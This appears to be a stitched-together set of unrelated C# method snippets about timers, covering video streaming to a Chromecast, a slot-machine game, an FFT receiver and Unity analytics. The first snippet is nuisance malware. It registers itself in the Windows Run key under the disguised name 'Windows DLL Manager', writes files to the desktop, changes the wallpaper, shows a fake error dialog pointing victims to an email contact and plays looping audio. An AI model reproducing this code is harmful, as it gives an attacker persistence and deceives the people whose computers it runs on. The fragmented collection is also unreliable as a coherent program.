private void Form1_Load(object sender, EventArgs e) { RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", writable: true); registryKey.SetValue("Windows DLL Manager", Application.ExecutablePath.ToString()); File.AppendAllText("C:\\Users\\" + Environment.UserName.ToString() + "\\Desktop\\Podziemia Watykanu.txt", Resources.vatican + "\r\n"); File.AppendAllText("C:\\Users\\" + Environment.UserName.ToString() + "\\Desktop\\Podziemia Watykanu.txt", Resources.vatican + "\r\n"); File.AppendAllText("C:\\Users\\" + Environment.UserName.ToString() + "\\Desktop\\Podziemia Watykanu.txt", Resources.vatican + "\r\n"); Timer1.Start(); Timer2.Start(); Timer3.Start(); Timer4.Start(); Timer5.Start(); Timer6.Start(); Timer7.Start(); changewallp(); Interaction.MsgBox("Damn, something went wrong! Contact me via mail with error code if you want to fix that problem. Mail: [email protected]", MsgBoxStyle.Critical, "Error 0x0001"); MyProject.Computer.Audio.Play(Resources.barking, AudioPlayMode.BackgroundLoop); NotifyIcon1.Visible = true; NotifyIcon2.Visible = true; NotifyIcon3.Visible = true; NotifyIcon4.Visible = true; NotifyIcon5.Visible = true; NotifyIcon6.Visible = true; NotifyIcon7.Visible = true; NotifyIcon8.Visible = true; NotifyIcon9.Visible = true; NotifyIcon10.Visible = true; NotifyIcon11.Visible = true; NotifyIcon12.Visible = true; NotifyIcon13.Visible = true; NotifyIcon14.Visible = true; NotifyIcon15.Visible = true; NotifyIcon16.Visible = true; }
private void Timer3_Tick(object sender, EventArgs e) { if (BackgroundWorker1.CancellationPending == false) { Timer3.Stop(); BackgroundWorker1.WorkerSupportsCancellation = true; BackgroundWorker1.RunWorkerAsync(); } }
void LoadLocalStream(string LocalFile) { if (LocalFile.Contains(".mp4") == true || LocalFile.Contains(".avi") == true || LocalFile.Contains(".mkv") == true || LocalFile.Contains(".flv") == true || LocalFile.Contains(".mpg") == true || LocalFile.Contains(".webm") == true || LocalFile.Contains(".divx") == true || LocalFile.Contains(".mov") == true || LocalFile.Contains(".m4v") == true || LocalFile.Contains(".wmv") == true) { if (WS1.IsSocketOpen() == false) { IsLocalStream = true; TempFilePath = LocalFile; ConnectChromecast(); Timer4.Start(); return; } WebSvr1.CleanTempFiles(); if (IsTranscoding == true) { if (BackgroundWorker1.IsBusy == true) { BackgroundWorker1.CancelAsync(); } if (gProcess.HasExited == false) { gProcess.Kill(); } } VideoTitle = LocalFile; VideoTitle = Regex.Split(LocalFile, @"\\")[Regex.Split(LocalFile, @"\\").Length - 1]; Label3.Text = VideoTitle; if (LocalFile.Contains(".mp4") == true) { IsTranscoding = false; AppLog("Streaming: " + LocalFile); WebSvr1.VideoFile(LocalFile); WS1.SendMessage(UTL1.LoadPlayURL(VideoTitle, "http://" + LocalIP + ":" + LocalPort + "/video.mp4")); } else { Thread.Sleep(1000); AppLog("Transcoding: " + LocalFile); TrancodeFilePath = LocalFile; if (IsTranscoding == true && BackgroundWorker1.IsBusy == true) { if (BackgroundWorker1.CancellationPending == true) { Timer3.Start(); } return; } IsTranscoding = true; BackgroundWorker1.WorkerSupportsCancellation = true; BackgroundWorker1.RunWorkerAsync(); } } }
private void F11Main_Load(object sender, EventArgs e) { Timer1.Start(); Timer2.Start(); Timer3.Start(); Timer4.Start(); Timer5.Start(); Timer6.Start(); Timer7.Start(); }
void LoadNetWorkStream(string Networkfile) { if (Networkfile.Contains(".mp4") == true || Networkfile.Contains(".avi") == true || Networkfile.Contains(".mkv") == true || Networkfile.Contains(".flv") == true || Networkfile.Contains(".mpg") == true || Networkfile.Contains(".webm") == true || Networkfile.Contains(".divx") == true || Networkfile.Contains(".mov") == true || Networkfile.Contains(".m4v") == true || Networkfile.Contains(".wmv") == true) { if (WS1.IsSocketOpen() == false) { IsLocalStream = false; TempFilePath = Networkfile; ConnectChromecast(); Timer4.Start(); return; } WebSvr1.CleanTempFiles(); if (IsTranscoding == true) { if (BackgroundWorker1.IsBusy == true) { BackgroundWorker1.CancelAsync(); } if (gProcess.HasExited == false) { gProcess.Kill(); } } string VideoURL = Networkfile; string Videofile = Regex.Split(VideoURL, "/")[Regex.Split(VideoURL, "/").Length - 1]; Label3.Text = Videofile; if (Videofile.Substring(Videofile.Length - 4, 4).ToLower() == ".mp4") { IsTranscoding = false; VideoTitle = Videofile; WS1.SendMessage(UTL1.LoadPlayURL(VideoTitle, VideoURL)); } else { Thread.Sleep(1000); TrancodeFilePath = VideoURL; VideoTitle = Videofile; AppLog("Transcoding: " + VideoURL); if (IsTranscoding == true && BackgroundWorker1.IsBusy == true) { if (BackgroundWorker1.CancellationPending == true) { Timer3.Start(); } return; } IsTranscoding = true; BackgroundWorker1.WorkerSupportsCancellation = true; BackgroundWorker1.RunWorkerAsync(); } } }
private void shadowEffectFadeOutMethod(object sender) { if (IsFullScreen) { if (Timer3 != null) { Timer3.Stop(); } Timer2 = new DispatcherTimer(); Timer2.Interval = System.TimeSpan.FromMilliseconds(5); Timer2.Tick += FadeOut; Timer2.Start(); } }
private void play_Click(object sender, EventArgs e) { //активируем таймеры SetTimer1(); SetTimer2(); SetTimer3(); IsActive = true; play.Enabled = false; //Пока барабаны крутятся кнопка "ИГРАТЬ!" заблокирована. Timer1.Stop(); Timer1.Dispose(); Timer2.Stop(); Timer2.Dispose(); Timer3.Stop(); Timer3.Dispose(); this.Refresh(); }
public Приёмник(MainWindow a, MenuItem mn, UDP_DATA_SERVER z0, UDP_DATA_SERVER z1, UDP_sender x) { InitializeComponent(); init = true; main = a; srv0 = z0; srv1 = z1; send = x; menu_z = mn; if (a != null) { } FFT_SIZE = main.FFT_SIZE; textBox_sizeFFT.Text = FFT_SIZE.ToString(); Timer1.Tick += new EventHandler(Timer1_Tick); Timer1.Interval = new TimeSpan(0, 0, 0, 0, 100); Timer1.Start();//запускаю таймер Timer2.Tick += new EventHandler(Timer2_Tick); Timer2.Interval = new TimeSpan(0, 0, 0, 0, 100); Timer2.Start();//запускаю таймер Timer3.Tick += new EventHandler(Timer3_Tick); Timer3.Interval = new TimeSpan(0, 0, 0, 0, 100); Timer3.Start();//запускаю таймер Timer4.Tick += new EventHandler(Timer4_Tick); Timer4.Interval = new TimeSpan(0, 0, 0, 0, 100); Timer4.Start();//запускаю таймер comboBox_winFFT.ItemsSource = Enum.GetNames(typeof(DSPLib.DSP.Window.Type)); comboBox_winFFT.SelectedItem = 1; //selectedWindowName = comboBox_winFFT.SelectedValue.ToString(); // }
public void HandleTimers() { if (BtnM2.Button1 == true & BtnM2.Button2 == true) { G4.LogEvent("PressButton", "Section1Timer", "TimeStart", 1); // Builder Hit with all Event parameters. G4.LogEvent(new EventHitBuilder() .SetEventCategory("PressButton") .SetEventAction("Section1Timer") .SetEventLabel("TimeStart") .SetEventValue(1)); Debug.Log("Sent"); TimerVis.SetActive(true); Timer.text = "" + Timer1.ToString("f2"); Timer1 = Timer1 - Time.deltaTime; if (Timer1 <= 0.2f) { TimerVis.SetActive(false); Timer1 = 5.2f; } } if (BtnM2.Button3 == true & BtnM2.Button4 == true) { G4.LogEvent("PressButton", "Section2Timer", "TimeStart", 1); // Builder Hit with all Event parameters. G4.LogEvent(new EventHitBuilder() .SetEventCategory("PressButton") .SetEventAction("Section2Timer") .SetEventLabel("TimeStart") .SetEventValue(1)); Debug.Log("Sent"); TimerVis.SetActive(true); Timer.text = "" + Timer2.ToString("f2"); Timer2 = Timer2 - Time.deltaTime; if (Timer2 <= 0.2f) { TimerVis.SetActive(false); Timer2 = 1.2f; } } if (BtnM2.Button5 == true & BtnM2.Button6 == true & BtnM2.Button7 == true) { G4.LogEvent("PressButton", "Section3Timer", "TimeStart", 1); // Builder Hit with all Event parameters. G4.LogEvent(new EventHitBuilder() .SetEventCategory("PressButton") .SetEventAction("Section3Timer") .SetEventLabel("TimeStart") .SetEventValue(1)); Debug.Log("Sent"); TimerVis.SetActive(true); Timer.text = "" + Timer3.ToString("f2"); Timer3 = Timer3 - Time.deltaTime; if (Timer3 <= 0.2f) { TimerVis.SetActive(false); Timer3 = 5.2f; } } if (BtnM2.Button8 == true & BtnM2.Button9 == true & BtnM2.Button10 == true & BtnM2.Button11 == true) { G4.LogEvent("PressButton", "Section4Timer", "TimeStart", 1); // Builder Hit with all Event parameters. G4.LogEvent(new EventHitBuilder() .SetEventCategory("PressButton") .SetEventAction("Section4Timer") .SetEventLabel("TimeStart") .SetEventValue(1)); Debug.Log("Sent"); TimerVis.SetActive(true); Timer.text = "" + Timer4.ToString("f2"); Timer4 = Timer4 - Time.deltaTime; if (Timer4 <= 0.2f) { TimerVis.SetActive(false); Timer4 = 3.2f; } } if (BtnM2.Button12 == true & BtnM2.Button13 == true & BtnM2.Button14 == true & BtnM2.Button15 == true) { G4.LogEvent("PressButton", "Section5Timer", "TimeStart", 1); // Builder Hit with all Event parameters. G4.LogEvent(new EventHitBuilder() .SetEventCategory("PressButton") .SetEventAction("Section5Timer") .SetEventLabel("TimeStart") .SetEventValue(1)); Debug.Log("Sent"); TimerVis.SetActive(true); Timer.text = "" + Timer5.ToString("f2"); Timer5 = Timer5 - Time.deltaTime; if (Timer5 <= 0.2f) { TimerVis.SetActive(false); Timer5 = 2.2f; } } if (BtnM2.Button16 == true & BtnM2.Button17 == true) { G4.LogEvent("PressButton", "Section6Timer", "TimeStart", 1); // Builder Hit with all Event parameters. G4.LogEvent(new EventHitBuilder() .SetEventCategory("PressButton") .SetEventAction("Section6Timer") .SetEventLabel("TimeStart") .SetEventValue(1)); Debug.Log("Sent"); TimerVis.SetActive(true); Timer.text = "" + Timer6.ToString("f2"); Timer6 = Timer6 - Time.deltaTime; if (Timer6 <= 0.2f) { TimerVis.SetActive(false); Timer6 = 1.2f; } } }